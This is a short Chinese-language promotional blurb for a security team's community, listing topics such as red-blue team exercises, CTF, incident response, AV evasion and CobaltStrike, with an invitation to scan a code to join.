技术分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享
团队知识wiki:红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......
团队网盘资料:安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑 | ......
扫码加入一起学习吧~